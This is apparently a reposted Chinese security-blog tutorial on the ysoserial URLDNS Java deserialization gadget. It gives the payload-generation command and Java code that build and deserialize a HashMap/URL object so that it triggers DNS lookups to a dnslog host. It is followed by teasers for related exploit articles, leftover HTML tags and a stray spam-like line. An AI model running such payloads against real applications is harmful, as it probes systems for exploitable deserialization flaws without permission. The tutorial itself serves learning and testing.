<menu id="guoca"></menu>
<nav id="guoca"></nav><xmp id="guoca">
  • <xmp id="guoca">
  • <nav id="guoca"><code id="guoca"></code></nav>
  • <nav id="guoca"><code id="guoca"></code></nav>

    Java反序列化利用鏈-URLDNS學習

    VSole2021-12-01 14:47:17

    1.Java 反序列化

    關于java的反序列化只是大概知道是因為readObject方法,導致的但是怎么個過程導致的rce,還是很迷糊的。

    但是直接從CC鏈來學習的話,對新手實在不太友好。所以,今天從ysoserial.jar中最簡單的URLDNSgadget來學習一下反序列化的流程。


    2.URLDNS

    ysoserial urldns gadget的作用是類似于dnslog,利用的jdk中的URL class 無需第三方依賴。

    生成poc

    java -jar ysoserial.jar URLDNS http://psdjax.dnslog.cn > a.bin

    Java模擬反序列化

    package com.company;
    
    import java.io.FileInputStream;
    import java.io.ObjectInputStream;
    import java.net.URL;
    
    public class Main {
        public static void main(String[] args) throws Exception {
            ObjectInputStream ois = new ObjectInputStream(new FileInputStream("a.bin"));
            URL url = (URL) ois.readObject();
        }
    }
    

    執行以后成功收到dnslog

    在ysoserial中查看gadget的實現src/main/java/ysoserial/payloads/URLDNS.java

    其中核心大概就是這么幾句代碼

    其中最主要的邏輯 new 了一個 HashMap,然后put進去一個 URL class,然后return。

    反序列化的觸發點,一定是readObject,所以我們直接來看HashMap class的readObject方法

    前面都不需要怎么看,其中最重要的就是hash方法

    跟進到hash方法

    在hashmap class的hash方法里面,是通過調用key的hashCode方法來獲得的hash。

    而這里的key的值是,前面put進去的一個URL對象

    URL u = new URL(null, url, handler); // URL to use as the Key
    ht.put(u, url); //The value can be anything that is Serializable, URL as the key is what triggers the DNS lookup.
    

    查看URL hash方法

    繼續跟進,然后最關鍵的代碼就來了。

    首先獲取了協議,然后使用了getHostAddress來獲取url ip地址。到這一步就執行了我們的dnslog請求。

    這個gadget的實現其實很簡單,方法調用也不深,我們用幾行代碼。自己來實現一個

    package com.company;
    
    import java.io.*;
    import java.net.URL;
    import java.util.HashMap;
    
    public class Main {
        public static void main(String[] args) throws Exception {
            HashMap ht = new HashMap();
            URL u = new URL("http://ls8ztu.dnslog.cn"); // URL to use as the Key
            ht.put(u, "1");
    
            ObjectOutputStream f = new ObjectOutputStream(new FileOutputStream("dns.bin"));
            f.writeObject(ht);
            ObjectInputStream ois = new ObjectInputStream(new FileInputStream("dns.bin"));
        }
    }
    

    執行以后,會收到2個dns請求

    為什么會是兩個呢,這是因為

    我們在put的時候就會執行一次hash,反序列化的時候又執行了一次就是兩次了,這樣在實際使用的時候容易,造成誤判。

    那么ysoserial是怎么解決這個問題的呢,ysoserial自己實現了一個Handler,然后將getHostAddress方法重寫為直接返回null。就不會觸發請求了。

    序列化url重寫
    本作品采用《CC 協議》,轉載必須注明作者和本文鏈接
    風險通告 近日,奇安信CERT監測到微軟修復了Microsoft Exchange多個高危漏洞。通過組合利用這些漏洞能夠在未經身份驗證的情況下遠程獲取目標服務器權限。其中包括CVE-2021-26855:服務端請求偽造漏洞;CVE-2021-2685...
    關于java的反序列化只是大概知道是因為readObject方法,導致的但是怎么個過程導致的rce,還是很迷糊的。 但是直接從CC鏈來學習的話,對新手實在不太友好。所以,今天從ysoserial.jar中最簡單的URLDNSgadget來學習一下反序列化的流程。
    Java安全中Groovy組件從反序列化到命令注入及繞過和在白盒中的排查方法
    引言C3P0反序列化利用鏈是Java反序列化漏洞中比較經典的一條RCE利用鏈。最近看到有大佬對C3P0利用鏈不出網做了一些研究,在此基礎上,自己也系統地梳理一下各種姿勢的C3P0利用鏈,包括:Java原生態反序列化利用鏈-遠程加載惡意類Java原生態反序列化利用鏈改進-無需出網Json反序列化利用鏈-遠程加載惡意類Json反序列化利用鏈-無需出網這里將4個利用鏈的原理分析與具體實現分享給大家。
    它指的是一個有用的工具庫,幫助處理和操作XML格式的數據。ROME庫允許我們把XML數據轉換成Java中的對象,這樣我們可以更方便地在程序中操作數據。另外,它也支持將Java對象轉換成XML數據,這樣我們就可以把數據保存成XML文件或者發送給其他系統。
    URLDNS鏈子是Java反序列化分析的第0課,網上也有很多優質的分析文章。筆者作為Java安全初學者,也從0到1調試了一遍,現在給出調試筆記。Java原生鏈反序列化:利用Java.io.ObjectOutputStream對象輸入流的readObject方法實現將字節序列轉化成對象。測試源碼如下,此部分源碼參考了ol4three師傅的博客:package?將輸出字節流寫入文件中進行封存。讀取字節流操作為readObject,所以重寫readObject可以執行自定義代碼。影響的版本問題:與JDK版本無關,其攻擊鏈實現依賴于Java內置類,與第三方庫無關?
    近日Oracle通報了一個反序列化漏洞CVE-2022-21445,未經身份認證的遠程攻擊者可利用該漏洞實現反序列化操作導致任意代碼執行。任何基于ADF Faces框架開發的程序都受到此漏洞的影響,包括Oracle的多個產品。
    介紹實戰中由于各種情況,可能會對反序列化Payload的長度有所限制,因此研究反序列化Payload縮小技術是有意義且必要的本文以CommonsBeanutils1鏈為示例,
    剛開始內存馬的這塊學習與反序列化并無太大關系,反而與javaweb,tomcat聯系更加緊密。所以在學習內存馬之前需要先了解JSP,java web的三大件,Servlet,Filter,Listener的基本知識和工作流程和Tomcat 架構的相關內容。
    前言以前做一些 Java 反序列化的題目時,我個人覺得側重點在于readObject之后發生的事情:我們設法尋找可用的gadget并拼接,最后用一行xxx.writeObject()僅用來幫我們得到惡意數據。最近學習過程中做了幾個非常有意思的題目,總結一下其中共同的思想就是對writeObject的流程下手,通過這部分流程中代碼的一些問題來實現漏洞利用。solve先運行這個:package c3p0;public Reference getReference () throws NamingException { return null; }
    VSole
    網絡安全專家
      亚洲 欧美 自拍 唯美 另类